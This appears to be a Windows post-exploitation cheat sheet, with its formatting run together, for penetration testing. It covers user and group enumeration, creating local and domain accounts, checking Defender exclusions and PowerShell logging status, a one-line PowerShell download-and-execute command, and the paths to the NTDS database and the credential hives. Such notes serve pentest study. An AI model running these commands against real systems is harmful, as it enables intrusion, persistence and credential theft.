# User infowhoami /all# User infonet user# Show groupsnet group# Show local groupsnet localgroup <groupname># Add user to groupnet group <groupname>/add <username># Create accountnet user <username><password>/add# Create account (AD)# This will force the command to execute on the domain controller instead of the local computernet user <username><password>/add /domain
Basic
System
# Shows info about system (Look whether HotFixes are applied or not)systeminfo# Show drivesGet-PSDrive-PSProvider FileSystem# Show hidden data streamsdir /R# List Defender Exclusions (Requires local admin privileges)Get-MpPreference| select Exclusion*# PowerShell Logging Status[Bool](Get-ItemProperty 'HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\Transcription' -ErrorAction SilentlyContinue).EnableTranscripting
[Bool](Get-ItemProperty 'HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ModuleLogging' -ErrorAction SilentlyContinue).EnableModuleLogging
[Bool](Get-ItemProperty 'HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging' -ErrorAction SilentlyContinue).EnableScriptBlockLogging
# Download and execute filesiex(new-object net.webclient).downloadstring('remote_file')
# Powershell history log fileC:\Users\username\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt# See any suspicious apps "C:\Program Files"or"C:\Program Files (x86)"# Apps on old windows versionsC:\Data\Users\app# Code policies and passwords in filesC:\ProgramFiles\windowspowershell\modules\packagemanagement# Config filesC:\Windows\System32\config# AD database file locationC:\Windows\NTDS
Configuration files
Most config files can be found in C:\Windows\System32\config
AccessChk is a command-line tool for viewing the effective permissions on files, registry keys, services, processes, kernel objects, and more. This tool will be helpful to identify whether the current user can modify files within a certain service directory.